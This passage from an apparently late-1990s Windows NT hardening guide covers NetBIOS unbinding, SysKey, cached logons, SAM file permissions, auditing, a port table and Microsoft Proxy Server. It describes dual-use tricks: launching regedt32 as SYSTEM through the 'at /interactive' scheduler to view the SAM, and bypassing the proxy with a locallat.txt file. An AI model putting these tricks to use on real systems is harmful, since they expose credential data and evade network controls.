  3347. Use the Bindings feature in the Network application in Control Panel to unbind any unnecessary 
  3348. services from any network adapter cards connected to the Internet. For example, you might use 
  3349. the Server service to copy new images and documents from computers in your internal network, 
  3350. but you might not want remote users to have direct access to the Server service from the Internet. 
  3351.  
  3352. If you need to use the Server service on your private network, disable the Server service binding 
  3353. to any network adapter cards connected to the Internet. You can use the Windows NT Server 
  3354. service over the Internet; however, you should fully understand the security implications and 
  3355. comply with Windows NT Server Licensing requirements issues. 
  3356.  
  3357. When you are using the Windows NT Server service you are using Microsoft networking (the 
  3358. server message block [SMB] protocol rather than the HTTP protocol) and all Windows NT Server 
  3359. Licensing requirements still apply. HTTP connections do not apply to Windows NT Server 
  3360. licensing requirements. 
  3361.  
  3362. For Windows NT systems with direct Internet connectivity and have NetBios, there are two 
  3363. configuration options:
  3364. ò    Configure the NT system on the Internet outside the corporate firewall. You can also 
  3365. accomplish this by blocking ports 135, 137 and 138 on TCP and UDP protocols at the 
  3366. firewall.  This ensures that no NetBIOS traffic moves across the corporate firewall.
  3367. ò    Configure the protocol bindings between TCP/IP, NetBIOS, Server and Workstation 
  3368. services using the network control panel.  By removing the bindings between NetBIOS and 
  3369. TCP/IP, the native file sharing services (using the Server and Workstation services) will not 
  3370. be accessible via TCP/IP and hence the Internet.  These and other NetBIOS services will 
  3371. still be accessible via a local LAN-specific, non-routable protocol (ex: NetBEUI) if one is in 
  3372. place.  To accomplish this use the Network Control Panel applet.  Select the Bindings Tab 
  3373. and disable the NetBios bindings with TCP/IP protocol stack.
  3374.  
  3375. A Windows NT system with direct Internet connectivity needs to be secured with respect to other 
  3376. services besides NetBIOS access, specifically Internet Information Server
  3377.  
  3378. NetBIOS over TCP/IP should normally be disabled for a firewall or web server.  The following is a 
  3379. list of the ports used by NBT.
  3380. ? NetBIOS-ns 137/tcp NETBIOS Name Service 
  3381. ? NetBIOS-ns 137/udp NETBIOS Name Service 
  3382. ? NetBIOS-dgm 138/tcp NETBIOS Datagram Service 
  3383. ? NetBIOS-dgm 138/udp NETBIOS Datagram Service 
  3384. ? NetBIOS-ssn 139/tcp NETBIOS Session Service 
  3385. ? NetBIOS-ssn 139/udp NETBIOS Session Service
  3386.  
  3387. [6.3.5] Enhanced Protection for Security Accounts Manager Database
  3388.  
  3389.     Completed    Not implemented    Not applicable    
  3390. STATUS                
  3391.  
  3392. The Windows NT Server 4.0 System Key hotfix (included in Service Pack 3) provides the 
  3393. capability to use strong encryption techniques to increase protection of account password 
  3394. information stored in the registry by the Security Account Manager (SAM). Windows NT Server 
  3395. stores user account information, including a derivative of the user account password, in a secure 
  3396. portion of the Registry protected by access control and an obfuscation function. The account 
  3397. information in the Registry is only accessible to members of the Administrators group. Windows 
  3398. NT Server, like other operating systems, allows privileged users who are administrators access to 
  3399. all resources in the system. For installations that want enhanced security, strong encryption of 
  3400. account password derivative information provides an additional level of security to prevent 
  3401. Administrators from intentionally or unintentionally accessing password derivatives using Registry 
  3402. programming interfaces. 
  3403.  
  3404. Please refer to Knowledge Base article Q143475 for more details on SysKey feature and how it 
  3405. can be implemented on a Windows NT installation.
  3406.  
  3407. [6.3.6] Disable Caching of Logon Credentials during interactive logon.
  3408.  
  3409.     Completed    Not implemented    Not applicable    
  3410. STATUS                
  3411.  
  3412. The default configuration of Windows NT caches the last logon credentials for a user who logged 
  3413. on interactively to a system.  This feature is provided for system availability reasons such as the 
  3414. user's machine is disconnected or none of the domain controllers are online.
  3415.  
  3416. Even though the credential cache is well protected, in a highly secure environments, customers 
  3417. may want to disable this feature.  This can be done by setting the following registry key:
  3418.  
  3419. Hive:    HKEY_LOCAL_MACHINE    
  3420. Key:    Software\Microsoft\Windows NT\CurrentVersion\Winlogon    
  3421. Name:    CachedLogonsCount    
  3422. Type:    REG_DWORD    
  3423. Value:    0    
  3424.  
  3425.  
  3426. [6.3.7] How to secure the %systemroot%\repair\sam._ file
  3427.  
  3428.     Completed    Not implemented    Not applicable    
  3429. STATUS                
  3430.  
  3431. By default, the SAM._ file and \repair directory has the following permissions; 
  3432.  
  3433. Administrators: Full Control 
  3434. Everyone: Read 
  3435. SYSTEM: Full Control 
  3436. Power Users: Change
  3437.  
  3438. 1.From within Explorer, highlight the SAM._ file, right click, choose properties, security, 
  3439. permissions. Remove all privilege from this file.
  3440. 2.From a DOS prompt, execute the following;
  3441.  
  3442. cacls %systemroot%\repair\sam._ /D Everyone
  3443.  
  3444. This will deny the group Everyone permission to the file, ensuring that no other permission (i.e. 
  3445. inherited permissions from a share) can override the file permission.
  3446. 3.Whenever you need to update your ERD, first execute the following from a DOS prompt; 
  3447.  
  3448. cacls %systemroot%\repair\sam._ /T /G Administrators:C
  3449.  
  3450. This will grant Administrators change permission to update it during the ERD update. 
  3451.  
  3452. 4.Once the ERD has been updated, execute the following from a DOS prompt;
  3453.  
  3454. cacls %systemroot%\repair\sam._ /E /R Administrators
  3455.  
  3456. This will once again remove the permissions for Administrator 
  3457.  
  3458. How to enable auditing on password registry keys
  3459.  
  3460. 1.First you have to make sure auditing is enabled. Start User Manager, Policies, Audit, and click 
  3461. "Audit These Events".
  3462. 2.By default, Windows NT does not identify any users or groups to audit on any objects within the 
  3463. system. Auditing can add performance overhead to your system depending on the available 
  3464. resources, so care should be taken in determining what and whom to audit. For a full 
  3465. description of auditing in Windows NT, I recommend the Microsoft Press book "Windows NT 
  3466. 3.5 - Guidelines for Security, Audit, and Control", ISBN 1-55615-814-9. Despite its title it is 
  3467. still the most comprehensive coverage of auditing that I have read. For the sake of this 
  3468. example, we will simply check every Success and Failure checkbox. 
  3469. 3.Close the dialog. 
  3470. 4.Now for a little known trick. While logged on as Administrator, ensure that the Schedule service 
  3471. is set to start up as the System account. Once set, start the Schedule service. 
  3472. 5.Check the time, and then open a DOS prompt. At the DOS prompt, type in the following; at 
  3473. 22:48 /interactive "regedt32.exe" where 22:48 gets replaced with the current time plus 1 
  3474. minute (or 2 or whatever amount of time you think it will take you to type in the command).
  3475. 6.At the designated time, regedt32.exe will fire up and appear on your desktop. This incarnation 
  3476. of regedt32.exe will be running in the security context of the user SYSTEM. As such, you will 
  3477. be able to see the entire registry, every key within the SAM or Security trees. BE VERY 
  3478. CAREFUL HERE. It is important to note that when running an application as SYSTEM, it 
  3479. does so attempting to use null session for credentials. Null session support has been 
  3480. disabled by default in all versions of Windows NT after 3.1, therefore any attempt to connect 
  3481. to non-local resources as this security context will fail. An Administrator could enable null 
  3482. session support through the registry, but such a configuration is strongly discouraged. 
  3483. 7.All we want to do is enable auditing on the designated keys, nothing else. To this end, we 
  3484. highlight the HKEY_LOCAL_MACHINE windows within regedt32. Next highlight the SAM 
  3485. tree. Choose the Security menu item, then Auditing. 
  3486. 8.Click on the Add button and choose Show Users.
  3487. 9.I'm going to recommend that you add the SYSTEM user, the group Domain Admins, and the 
  3488. user Administrator. You want to cover any account which has the right to;
  3489. ? "Take ownership of files or other objects"
  3490. ? "Back up files and directories"
  3491. ? "Manage auditing and security log"
  3492. ? "Restore files and directories"
  3493. ? "Add workstations to domain"
  3494. ? "Replace a process level token" 
  3495. 10.Click the Audit Permission on Existing Subkeys 
  3496. 11.Next, click in the Success and Failure checkboxes for the following entries; - Query Value - 
  3497. Set Value - Write DAC - Read Control
  3498. 12.Choose OK, and then Yes. 
  3499. 13.Repeat the process for the Security tree.
  3500. 14.Close REGEDT32, and stop the Schedule service. You will want to set the Schedule service 
  3501. to use a userID for startup which you create, rather than SYSTEM, in future. Take this 
  3502. opportunity to create such a user and change the startup for Schedule. 
  3503.  
  3504. You will now have applied auditing to the entire SAM ensuring you'll be notified via the Event 
  3505. Logger of any failed or successful access to your sensitive information by the only accounts 
  3506. which have the ability to access such information. The issue of what to do when/if you discover 
  3507. event notifications is beyond the scope of this document. Part of a good security policy is an 
  3508. appropriate audit policy which would dictate how the event logs are reviewed, how the information 
  3509. is verified, and what actions should be taken for each possible event.
  3510.  
  3511. [6.3.8] TCP/IP Security in NT
  3512.  
  3513. Note: This section is not meant to teach you the concepts behind the TCP/IP protocol. It is 
  3514. assumed that a working knowledge of TCP/IP can be applied.
  3515.  
  3516.     Windows NT has a built in TCP/IP security functionality that most people do not use or 
  3517. know about. This functionality enables you to control the types of network traffic that can reach 
  3518. your NT servers. Access can be allowed or denied based on specific TCP ports, UDP ports, and 
  3519. IP protocols. This type of security is normally applied to servers connected directly to the internet, 
  3520. which is not recommended.
  3521.     Do configure NT's built in TCP/IP security, follow these steps:
  3522.  
  3523.     1 - Right click on Network Neighborhood and goto the properties option.
  3524.     2 - Select the Protocols tab, highlight TCP/IP and click on Properties.
  3525.     3 - Select the IP address tab of the TCP/IP properties screen.
  3526.     4 - Check the check box that reads "Enable Security".
  3527.     5 - Click on Configure
  3528.     
  3529.     You should now be looking at the TCP/IP Security dialog, which has the following 
  3530. options:
  3531.  
  3532.     -Adapter: Specifies which of the installed network adapter cards you are configuring
  3533.     -TCP Ports
  3534.     -UDP Ports
  3535.     -IP Protocols
  3536.  
  3537.     Within these settings, you would choose which ports and what access permissions you 
  3538. would like to assign to those ports. The following list is a list of the well known TCP/IP ports. This 
  3539. is not an in depth guide, just a quick reference (For more details, check RFC 1060).
  3540.  
  3541. [6.3.9] Well known TCP/UDP Port numbers   
  3542.  
  3543.   Service                Port           Comments   
  3544.  
  3545.    TCP Ports
  3546.    echo                7/tcp
  3547.    discard           9/tcp          sink null
  3548.    systat              11/tcp         users
  3549.    daytime             13/tcp
  3550.    netstat             15/tcp
  3551.    qotd                17/tcp         quote
  3552.    chargen             19/tcp         ttytst source
  3553.    ftp-data            20/tcp
  3554.    ftp                 21/tcp
  3555.    telnet              23/tcp
  3556.    smtp                25/tcp         mail
  3557.    time                37/tcp         timserver
  3558.    name                42/tcp         nameserver
  3559.    whois               43/tcp         nicname
  3560.    nameserver    53/tcp         domain
  3561.    apts                57/tcp         any private terminal service
  3562.    apfs                59/tcp         any private file service
  3563.    rje                 77/tcp         netrjs
  3564.    finger              79/tcp
  3565.    http                 80/tcp
  3566.    link                87/tcp         ttylink
  3567.    supdup              95/tcp
  3568.    newacct             100/tcp        [unauthorized use]
  3569.    hostnames     101/tcp        hostname
  3570.    iso-tsap            102/tcp        tsap
  3571.    x400                103/tcp
  3572.    x400-snd            104/tcp
  3573.    csnet-ns            105/tcp        CSNET Name Service
  3574.    pop-2               109/tcp        Post Office Protocol version 2
  3575.    pop-3              110/tcp        Post Office Protocol version 3
  3576.    sunrpc              111/tcp
  3577.    auth                113/tcp        authentication
  3578.    sftp                115/tcp
  3579.    uucp-path       117/tcp
  3580.    nntp                119/tcp        usenet readnews untp
  3581.    ntp                 123/tcp        network time protocol
  3582.    statsrv             133/tcp
  3583.    profile             136/tcp
  3584.    NeWS                144/tcp        news
  3585.    print-srv           170/tcp
  3586.    https               443/tcp        Secure HTTP
  3587.    exec                512/tcp        remote process execution;
  3588.                                   authentication performed using
  3589.                                   passwords and UNIX loppgin names
  3590.    login              513/tcp        remote login a la telnet;
  3591.                                   automatic authentication performed
  3592.                                   based on priviledged port numbers
  3593.                                   and distributed data bases which
  3594.                                   identify "authentication domains"
  3595.    cmd                 514/tcp        like exec, but automatic
  3596.                                   authentication is performed as for
  3597.                                   login server
  3598.    printer             515/tcp        spooler
  3599.    efs                 520/tcp        extended file name server
  3600.    tempo               526/tcp        newdate
  3601.    courier             530/tcp        rpc
  3602.    conference          531/tcp        chat
  3603.    netnews             532/tcp        readnews
  3604.    uucp                540/tcp        uucpd
  3605.    klogin              543/tcp
  3606.    kshell              544/tcp        krcmd
  3607.    dsf                 555/tcp
  3608.    remotefs            556/tcp        rfs server
  3609.    chshell             562/tcp        chcmd
  3610.    meter               570/tcp        demon
  3611.    pcserver            600/tcp        Sun IPC server
  3612.    nqs                 607/tcp        nqs
  3613.    mdqs                666/tcp
  3614.    rfile               750/tcp
  3615.    pump                751/tcp
  3616.    qrh                 752/tcp
  3617.    rrh                 753/tcp
  3618.    tell                754/tcp        send
  3619.    nlogin              758/tcp
  3620.    con                 759/tcp
  3621.    ns                  760/tcp
  3622.    rxe                 761/tcp
  3623.    quotad              762/tcp
  3624.    cycleserv           763/tcp
  3625.    omserv              764/tcp
  3626.    webster             765/tcp
  3627.    phonebook          767/tcp        phone
  3628.    vid                 769/tcp
  3629.    rtip                771/tcp
  3630.    cycleserv2          772/tcp
  3631.    submit              773/tcp
  3632.    rpasswd             774/tcp
  3633.    entomb              775/tcp
  3634.    wpages              776/tcp
  3635.    wpgs                780/tcp
  3636.    mdbs         800/tcp
  3637.    device              801/tcp
  3638.    maitrd              997/tcp
  3639.    busboy              998/tcp
  3640.    garcon              999/tcp
  3641.    blackjack           1025/tcp       network blackjack
  3642.    bbn-mmc        1347/tcp       multi media conferencing
  3643.    bbn-mmx        1348/tcp       multi media conferencing
  3644.    orasrv              1525/tcp       oracle
  3645.    ingreslock          1524/tcp
  3646.    issd                1600/tcp
  3647.    nkd                 1650/tcp
  3648.    dc                  2001/tcp
  3649.    mailbox             2004/tcp
  3650.    berknet             2005/tcp
  3651.    invokator           2006/tcp
  3652.    dectalk             2007/tcp
  3653.    conf                2008/tcp
  3654.    news                2009/tcp
  3655.    search              2010/tcp
  3656.    raid-cc             2011/tcp       raid
  3657.    ttyinfo             2012/tcp
  3658.    raid-am             2013/tcp
  3659.    troff               2014/tcp
  3660.    cypress             2015/tcp
  3661.    cypress-stat   2017/tcp
  3662.    terminaldb          2018/tcp
  3663.    whosockami   2019/tcp
  3664.    servexec            2021/tcp
  3665.    down                2022/tcp
  3666.    ellpack             2025/tcp
  3667.    shadowserver   2027/tcp
  3668.    submitserver     2028/tcp
  3669.    device2             2030/tcp
  3670.    blackboard         2032/tcp
  3671.    glogger             2033/tcp
  3672.    scoremgr           2034/tcp
  3673.    imsldoc             2035/tcp
  3674.    objectmanager 2038/tcp
  3675.    lam                 2040/tcp
  3676.    interbase           2041/tcp
  3677.    isis                2042/tcp
  3678.    rimsl               2044/tcp
  3679.    dls                 2047/tcp
  3680.    dls-monitor         2048/tcp
  3681.    shilp               2049/tcp
  3682.    NSWS                3049/tcp
  3683.    rfa                 4672/tcp       remote file access server
  3684.    complexmain       5000/tcp
  3685.    complexlink       5001/tcp
  3686.    padl2sim            5236/tcp
  3687.    man                 9535/tcp
  3688.    
  3689.    
  3690.    UDP Ports
  3691.    echo                7/udp
  3692.    discard             9/udp          sink null
  3693.    systat              11/udp         users
  3694.    daytime             13/udp
  3695.    netstat             15/udp
  3696.    qotd                17/udp         quote
  3697.    chargen             19/udp         ttytst source
  3698.    time                37/udp         timserver
  3699.    rlp                 39/udp         resource
  3700.    name                42/udp         nameserver
  3701.    whois               43/udp         nicname
  3702.    nameserver       53/udp         domain
  3703.    bootps              67/udp         bootp
  3704.    bootpc              68/udp
  3705.    tftp                69/udp
  3706.    sunrpc              111/udp
  3707.    erpc                121/udp
  3708.    ntp                 123/udp
  3709.    statsrv             133/udp
  3710.    profile             136/udp
  3711.    snmp                161/udp
  3712.    snmp-trap          162/udp
  3713.    at-rtmp             201/udp
  3714.    at-nbp              202/udp
  3715.    at-3                203/udp
  3716.    at-echo             204/udp
  3717.    at-5                205/udp
  3718.    at-zis              206/udp
  3719.    at-7                207/udp
  3720.    at-8                208/udp
  3721.    biff                512/udp        used by mail system to notify users
  3722.                                   of new mail received; currently
  3723.                                   receives messages only from
  3724.                                   processes on the same machine
  3725.    who                 513/udp        maintains data bases showing who's
  3726.                                   logged in to machines on a local
  3727.                                   net and the load average of the
  3728.                                   machine
  3729.    syslog              514/udp
  3730.    talk                517/udp        like tenex link, but across
  3731.                                   machine - unfortunately, doesn't
  3732.                                   use link protocol (this is actually
  3733.                                   just a rendezvous port from which a
  3734.                                   tcp connection is established)
  3735.    ntalk               518/udp
  3736.    utime               519/udp        unixtime
  3737.    router              520/udp        local routing process (on site);
  3738.                                   uses variant of Xerox NS routing
  3739.                                   information protocol
  3740.    timed               525/udp        timeserver
  3741.    netwall             533/udp        for emergency broadcasts
  3742.    new-rwho            550/udp        new-who
  3743.    rmonitor            560/udp        rmonitord
  3744.    monitor             561/udp
  3745.    meter               571/udp        udemon
  3746.    elcsd               704/udp        errlog copy/server daemon
  3747.    loadav              750/udp
  3748.    vid                 769/udp
  3749.    cadlock             770/udp
  3750.    notify              773/udp
  3751.    acmaint_dbd     774/udp
  3752.    acmaint_trnsd  775/udp
  3753.    wpages              776/udp
  3754.    puparp              998/udp
  3755.    applix              999/udp        Applix ac
  3756.    puprouter           999/udp
  3757.    cadlock             1000/udp
  3758.    hermes              1248/udp
  3759.    wizard              2001/udp       curry
  3760.    globe               2002/udp
  3761.    emce                2004/udp       CCWS mm conf
  3762.    oracle              2005/udp
  3763.    raid-cc             2006/udp       raid
  3764.    raid-am             2007/udp
  3765.    terminaldb          2008/udp
  3766.    whosockami      2009/udp
  3767.    pipe_server         2010/udp
  3768.    servserv            2011/udp
  3769.    raid-ac             2012/udp
  3770.    raid-cd             2013/udp
  3771.    raid-sf             2014/udp
  3772.    raid-cs             2015/udp
  3773.    bootserver          2016/udp
  3774.    bootclient          2017/udp
  3775.    rellpack            2018/udp
  3776.    about               2019/udp
  3777.    xinupagesrver      2020/udp
  3778.    xinuexpnsion1  2021/udp
  3779.    xinuexpnsion2  2022/udp
  3780.    xinuexpnsion3  2023/udp
  3781.    xinuexpnsion4  2024/udp
  3782.    xribs               2025/udp
  3783.    scrabble            2026/udp
  3784.    isis                2042/udp
  3785.    isis-bcast          2043/udp
  3786.    rimsl               2044/udp
  3787.    cdfunc              2045/udp
  3788.    sdfunc              2046/udp
  3789.    dls                 2047/udp
  3790.    shilp               2049/udp
  3791.    rmontor_scure     5145/udp
  3792.    xdsxdm              6558/udp
  3793.    isode-dua           17007/udp
  3794.  
  3795. [7.0.0] Preface to Microsoft Proxy Server
  3796. This section was not made for people who have been working with Microsoft Proxy Server since 
  3797. its beta (catapult) days. It is made for individuals who are curious about the product and security 
  3798. professionals that are curious as to what Microsoft Proxy Server has to offer. This section is also 
  3799. being written for individuals have a general idea of what a Proxy Server does, but wants to know 
  3800. more. This section goes into discussion of Proxy Server Features and Architecture, Access 
  3801. Control, Encryption, and Firewall Strategies (which I have been getting a lot of requests for).
  3802.  
  3803. The second part of the documentation goes into Firewall types and strategies, so if that's the 
  3804. reason you downloaded the documentation, go straight to page 8 I believe.
  3805.  
  3806. [7.0.1] What is Microsoft Proxy Server?
  3807. Microsoft Proxy Server is a "firewall" and cache server. It provides additional Internet security and 
  3808. can improve network response issues depending on its configuration. The reason I put the word 
  3809. firewall in quotes is because Proxy Server should not be considered as a stand-alone solution to 
  3810. a firewall need. When you are done reading this document, you will have an advanced 
  3811. understanding of the Proxy Server product and also understand firewall techniques and 
  3812. topologies. 
  3813.  
  3814. Proxy Server can be used as an inexpensive means to connect an entire business through only 
  3815. one valid IP address. It can also be used to allow more secure inbound connections to your 
  3816. internal network from the Internet. By using Proxy Server, you are able to better secure your 
  3817. network against intrusion. It can be configured to allow your entire internal private network to 
  3818. access resources on the Internet, at the same time blocking any inbound access.
  3819.  
  3820. Proxy Server can also be used to enhance the performance of your network by using advanced 
  3821. caching techniques. The can be configured to save local copies of requested items from the 
  3822. Internet. The next time that item is requested, it can be retrieved from the cache without having to 
  3823. connect to the original source. This can save an enormous amount of time and network 
  3824. bandwidth. 
  3825.  
  3826. Unlike Proxy Server 1.0, Proxy Server 2.0 includes packet filtering and many other features that 
  3827. we will be discussing.
  3828.  
  3829. Proxy Server provides it functionality by using three services:
  3830.  
  3831. ? Web Proxy: The web proxy service supports HTTP, FTP, and Gopher for TCP/IP Clients.
  3832. ? WinSock Proxy: The Winsock proxy supports Windows Sockets client applications. It 
  3833. provides support for clients running either TCP/IP or IPX/SPX. This allows for networks that 
  3834. may be running more of a Novell environment to still take advantage of Proxy Server.
  3835. ? SOCKS Proxy: The SOCKS Proxy is a cross-platform service that allows for secure 
  3836. communication in a client/server capacity. This service supports SOCKS version 4.3a and 
  3837. allows users access to the Internet by means of Proxy Server. SOCKS extends the 
  3838. functionality provided by the WinSock service to non-Windows platforms such as Unix or 
  3839. Macintosh. 
  3840.  
  3841. [7.0.2] Proxy Servers Security Features
  3842.  
  3843. In conjunction with other products, Proxy Server can provide firewall level security to prevent 
  3844. access to your internal network.
  3845. ? Single Contact Point: A Proxy Server will have two network interfaces. One of these network 
  3846. interfaces will be connected to the external (or "untrusted") network, the other interface will be 
  3847. connected to your internal (or "trusted") network. This will better secure your LAN from 
  3848. potential intruders. 
  3849. ? Protection of internal IP infrastructure: When IP forwarding is disabled on the Proxy Server, 
  3850. the only IP address that will be visible to the external environment will be the IP address of 
  3851. the Proxy Server. This helps in preventing intruders from finding other potential targets on 
  3852. your network.
  3853. ? Packet Layer Filtering: Proxy Server adds dynamic packet filtering to its list of features. With 
  3854. this feature, you can block or enable reception of certain packet types. This enables you to 
  3855. have a tremendous amount of control over your network security.
  3856.  
  3857. [7.0.3] Beneficial Features of Proxy
  3858.  
  3859. ? IIS and NT Integration: Proxy Server integrates with Windows NT and Internet Information 
  3860. Server tighter than any other package available on the market. Proxy Server actually uses 
  3861. the same administrative interface used by Internet Information Server. 
  3862. ? Bandwidth Utilization: Proxy Server allows all clients in your network to share the same link to 
  3863. the external network. In conjunction with Internet Information Server, you can set aside a 
  3864. certain portion of your bandwidth for use by your webserver services.
  3865. ? Caching Mechanisms: Proxy Server supports both active and passive caching. These 
  3866. concepts will be explained in better detail further into the document.
  3867. ? Support for Web Publishing: Proxy Server uses a process known as reverse proxy to provide 
  3868. security while simultaneously allowing your company to publish on the Internet. Using 
  3869. another method known as reverse hosting, you can also support virtual servers through 
  3870. Proxy.
  3871.  
  3872. [7.0.4] Hardware and Software Requirements
  3873.  
  3874. Microsoft suggests the following minimum hardware requirements.
  3875.  
  3876. ? Intel 486 or higher. RISC support is also available.
  3877. ? 24 MB Ram for Intel chips 32 MB Ram for RISC.
  3878. ? 10 MB Diskspace needed for installation. 100 MB + .5 MB per client for Cache space.
  3879. ? 2 Network interfaces (Adapters, Dial-Up, etc)
  3880.  
  3881. Following is the suggested minimum software requirements.
  3882.  
  3883. ? Windows NT server 4.0
  3884. ? Internet Information Server 2.0
  3885. ? Service Pack 3
  3886. ? TCP/IP
  3887.  
  3888. It is highly recommended that it be installed on an NTFS partition. If a NTFS partition is not used, 
  3889. not only are you losing NTFS's advanced security features, but also the caching mechanisms of 
  3890. Proxy Server will not work.
  3891.  
  3892. It is also recommended that your two network interfaces be configured prior to installation. On 
  3893. interface configured to the external network, and one configured for the internal network. (Note: 
  3894. When configuring your TCP/IP settings, DO NOT configure a default gateway entry for your 
  3895. internal network interface.)
  3896.  
  3897. ? Be sure that "Enable IP Forwarding" is not checked in your TCP/IP settings. This could 
  3898. seriously compromise your internal security.
  3899.  
  3900. [7.0.5] What is the LAT?
  3901.  
  3902. This is probably one of the most common questions I am asked as a security professional. The 
  3903. LAT, or Local Address Table, is a series of IP address pairs that define your internal network. 
  3904. Each pair defines a range of IP addresses or a single pair.
  3905.  
  3906. That LAT is generated upon installation of Proxy Server. It defines the internal IP addresses. 
  3907. Proxy Server uses the Windows NT Routing Table to auto-generate the LAT. It is possible that 
  3908. the when the LAT is auto-generated, that errors in the LATs construction will be found. You 
  3909. should always manually comb through the LAT and check for errors. It is not uncommon to find 
  3910. external IP addresses in the LAT, or entire subnets of your internal IP addresses will not appear 
  3911. on the LAT. It is generally a good idea to have all of your internal IP addresses in the LAT.
  3912.  
  3913. ? NO EXTERNAL IP ADDRESSES SHOULD APPEAR IN YOUR LAT.
  3914.  
  3915. Upon installing the Proxy Server client software, it adds a file named msplat.txt into the \Mspclnt 
  3916. directory. The msplat.txt file contains the LAT. This file is regularly updated from the server to 
  3917. ensure that the LAT the client is using is current.
  3918.  
  3919. [7.0.6] What is the LAT used for?
  3920.  
  3921. Every time a client attempts to use a Winsock application to establish a connection, the LAT is 
  3922. referenced to determine if the IP address the client is attempting to reach is internal or external. If 
  3923. the IP address is internal, Proxy Server is bypassed and the connection is made directly. If the IP 
  3924. address the client is attempting to connect to DOES NOT appear in the LAT, it is determined that 
  3925. the IP address is remote and the connection is made through Proxy Server. By knowing this 
  3926. information, someone on your internal network could easily edit his or her LAT table to bypass 
  3927. Proxy Server. 
  3928.  
  3929. Some Administrators may not see this as a problem because the LAT is regularly updated from 
  3930. the server, so any changes the user made to his or her LAT will be overwritten. However, if the 
  3931. user saves their LAT with the filename Locallat.txt, the client machine will reference both the 
  3932. msplat.txt and the locallat.txt to determine if an IP address is local or remote. So, by using the 
  3933. locallat.txt method, a user can, in theory, permanently bypass Proxy Server. The locallat.txt file is 
  3934. never overwritten unless the user does so manually.
  3935.  
  3936. [7.0.7] What changes are made when Proxy Server is installed?
  3937.  
  3938. Server side changes:
  3939.  
  3940. ? The Web Proxy, Winsock Proxy, and SOCKS Proxy services are installed and management 
  3941. items are added into the Internet Service Manager.
  3942. ? An HTML version of the documentation is added into the %systemroot%\help\proxy\ 
  3943. directory.
  3944. ? A cache area is created on an NTFS volume.
  3945. ? The LAT table is constructed.
  3946. ? Proxy Server Performance Monitor counters are added.
  3947. ? Client installation and config files are added to the Msp\Clients folder. This folder is shared as 
  3948. Mspclnt and by default has the permissions set to Read for Everyone.
  3949.  
  3950. Client side changes:
  3951. ? The LAT (msplat.txt) file is copied to the clients local hard drive.
  3952. ? A WSP Client icon is added to control panel on Win3.X, Win95 and WinNT clients.
  3953. ? A Microsoft Proxy Client Program Group is added
  3954. ? The winsock.dll file is replace with Remote WinSock for Proxy. The old winsock file is 
  3955. renamed winsock.dlx.
  3956. ? Mspclnt.ini file is copied to the client machine.
  3957.  
  3958. [7.0.8] Proxy Server Architecture
  3959.  
  3960. To understand the architecture of Microsoft Proxy Server, you must first have a basic grasp of 
  3961. how Proxy works for outbound client requests. Here is a simple example:
  3962.  
  3963. Joe opens his browser to visit his favorite news site on the net. He types in the sites IP address 
  3964. which he has memorized because his visits often, instead of doing his job. The client compares 
  3965. the IP address Joe entered to the LAT table. Because the IP address is not found on the LAT, it is 
  3966. considered external. Since the client has determined that the IP address is external, it knows it 
  3967. must process the request through Proxy Server. The client hands Joe's request to Proxy Server. 
  3968. Proxy Server then checks the IP address against the access control applied by the Administrator. 
  3969. The Administrator has the ability to stop internal employees from visiting certain sites. Since Joe's 
  3970. request is not on the forbidden list applied by the Administrator, Proxy Server executes the 
  3971. request. Proxy contacts the website and requests the document Joe wanted. After Proxy server 
  3972. has received the information it requested, it stored a copy in its cache for later use and hands the 
  3973. request to the client machine. The website pops-up on Joe's browser.
  3974.  
  3975. [7.0.9] Proxy Server Services: An Introduction
  3976.  
  3977. ? WebProxy: Web Proxy normally functions with both clients and servers. As a server, it 
  3978. receives HTTP requests from internal network clients. As a client, it responds to internal 
  3979. network clients' requests by issuing their requests to a server on the Internet. The interface 
  3980. between the client and server components of the Web Proxy service provides chances to add 
  3981. value to the connections it services. By performing advanced security checks, the Web Proxy 
  3982. does more than relay requests between an internal client and a server on the Internet. The 
  3983. WebProxy service is an extensions of Internet Information Server 3.0. It consists of two 
  3984. following components: The Proxy Server ISAPI Filter and the Proxy Server ISAPI Application. 
  3985. The Web Proxy service is implemented as a DLL (dynamic link library) that uses ISAPI 
  3986. (Internet Server Application Programming Interface) and therefore runs within the IIS WWW 
  3987. process. The WWW Service must installed and running in order for proxy requests to be 
  3988. processed.
  3989. ? WinSock Proxy: WinSock Proxy provides proxy services for windows sockets applications. 
  3990. WinSock Proxy allows winsock applications to function on a LAN and to operate as if it is 
  3991. directly connected to the Internet. The client app uses Windows Sockets APIs to 
  3992. communicate with another application running on an Internet computer. WinSock Proxy 
  3993. intercepts the windows sockets call and establishes a communication path from the internal 
  3994. application to the Internet application through the proxy server. The process is totally 
  3995. transparent to the client. The WinSock Proxy consists of a service running on Proxy Server 
  3996. and a DLL installed on each client. The DLL it relies on is the Remote Winsock DLL that 
  3997. replaced the normal winsock.dll. WinSock Proxy uses a control channel between the client 
  3998. and the server to manage the ability of Windows Sockets messages to be used remotely. The 
  3999. control channel is set up when the WinSock Proxy client DLL is first loaded, and it uses the 
  4000. connectionless UDP protocol. The Winsock Proxy client and the WinSock Proxy service use 
  4001. a simple ack protocol to add reliability to the control channel. The control channel uses UDP 
  4002. port 1745 on the proxy server and client computers.
  4003. ? SOCKS Proxy: Proxy Server supports SOCKS Version 4.3a. Almost all SOCKS V4.0 client 
  4004. applications can run remotely through SOCKS Proxy. SOCKS is a protocol that functions as 
  4005. a proxy. It enables hosts on one side of a SOCKS server to gain full access to hosts on the 
  4006. other side of a SOCKS server, without requiring direct IP access.  (To learn more about 
  4007. SOCKS, visit http://www.socks.nec.com/index.html).
  4008.  
  4009. [7.1.0] Understanding components
  4010.  
  4011. This area will attempt to better define to the components of the architecture that we have used, 
  4012. but may not have defined.
  4013.  
  4014. [7.1.1] ISAPI Filter
  4015.  
  4016. The ISAPI Filter interface is one of the components of the web proxy service. The interface 
  4017. provides an extension that the Web server calls whenever it receives an HTTP request.
  4018.  
  4019. An ISAPI Filter is called for every request, regardless of the identity of the resource requested in 
  4020. the URL. An ISAPI filter can monitor, log, modify, redirect and authenticate all requests that are 
  4021. received by the Web server. The Web service can call an ISAPI filter DLL's entry point at various 
  4022. times in the processing of a request or response. The Proxy Server ISAPI filter is contained in the 
  4023. w3proxy.dll file. This filter examines each request to determine if the request is a standard HTTP 
  4024. request or not.
  4025.  
  4026. [7.1.2] ISAPI Application
  4027.  
  4028. The ISAPI Application is the second of the two web proxy components.  ISAPI applications can 
  4029. create dynamic HTML and integrate the web with other service applications like databases.
  4030.  
  4031. Unlike ISAPI Filters, an ISAPI Application is invoked for a request only if the request references 
  4032. that specific application. An ISAPI Application does not initiate a new process for every request. 
